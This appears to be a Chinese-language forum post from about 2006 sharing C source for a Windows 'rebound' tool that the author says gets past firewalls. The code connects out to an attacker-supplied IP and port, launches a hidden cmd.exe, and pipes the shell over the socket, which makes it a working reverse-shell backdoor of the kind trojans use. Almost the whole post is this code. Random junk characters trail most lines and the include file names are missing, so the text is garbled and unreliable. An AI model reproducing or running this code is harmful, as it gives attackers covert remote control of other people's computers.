这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aSK$#Xeu
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/* ============================== ZtvU~'Q
Rebound port in Windows NT @eMyq1ZU
By wind,2006/7 t)m4"p7
===============================*/ 8ziYav
#include bZlAK)
#include 2xnOWW
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#pragma comment(lib,"wsock32.lib") P `oR-D
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void OutputShell(); >N3{*W
SOCKET sClient; ' 5Ieqpm9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; au7BqV!uL
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void main(int argc,char **argv) \agC Q&
{ ?3|ZS8y
WSADATA stWsaData; DBv5Og
int nRet; Th8Q~*v
SOCKADDR_IN stSaiClient,stSaiServer; L*l( ~t)vF
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if(argc != 3) 1rKR=To
{ gTq-\k(
printf("Useage:\n\rRebound DestIP DestPort\n"); +amvQ];?Q8
return; awawq9)Y
} *PI3L/*
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WSAStartup(MAKEWORD(2,2),&stWsaData); h\dIp`H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %*/[aq, #
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stSaiClient.sin_family = AF_INET; =DCQ!02
stSaiClient.sin_port = htons(0); ydFY<Mb(o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >:xnjEsi$/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K
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{ "s*{0'jo
printf("Bind Socket Failed!\n"); kQb0pfYs
return; QxkfP %_g
} jsG9{/Ov3
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stSaiServer.sin_family = AF_INET; hh?'tb{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,S8Vfb &
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ysa"f+/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *H$nydQ:
{ f*I5m=
printf("Connect Error!"); F;ZLoG*U
return; )CmuC@ Q"
} m0edkt-x
OutputShell(); OYzJE@r^
} ZN)/doK
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void OutputShell() {NFeX'5bP
{ @Yg7F>s
char szBuff[1024]; ::R^ w"
SECURITY_ATTRIBUTES stSecurityAttributes; 55I>v3 w
OSVERSIONINFO stOsversionInfo; lt*k(JD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g PfaiVY
STARTUPINFO stStartupInfo; I)x:NF6JO
char *szShell; :.~a[\C@V<
PROCESS_INFORMATION stProcessInformation; l&rDa=m.J
unsigned long lBytesRead; [0}471
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b^xf,`D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pqs)ueu
stSecurityAttributes.lpSecurityDescriptor = 0; W@G[ gS\T
stSecurityAttributes.bInheritHandle = TRUE; _c&*'IY[V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i-<=nD&?t
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lfA
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stStartupInfo.wShowWindow = SW_HIDE; ^DH*@M
stStartupInfo.hStdInput = hReadPipe; vBpg6
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~;+vF-]R
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GetVersionEx(&stOsversionInfo); 5bw]cv$i
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switch(stOsversionInfo.dwPlatformId) ~L1O\V
i
{ <Hp"ZCN
case 1: bXfOZFzq)
szShell = "command.com"; "VeUOdNA>
break; 6?lg
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default: rNAu@B
szShell = "cmd.exe"; J'EK5=H
break; h<M7[p=
} 98]t"ny [
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \XN5))
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send(sClient,szMsg,77,0); WU4i-@Bm8
while(1) sHuz10
{ >R:+ml
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b[k 1)R"
if(lBytesRead) GlZ9k-ZRF
{ K8Y/XEK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5 QeGx3'
send(sClient,szBuff,lBytesRead,0); jysV%q 3
} Lwcw%M]
else ;Y'\:
{ 10rGA=x'(
lBytesRead=recv(sClient,szBuff,1024,0); b>z.d-
if(lBytesRead<=0) break; s`J=:>9*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hq*JQb;Y}
} \,EPsQV0?
} #R8l"]fxr?
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return; iK]g3ew|
}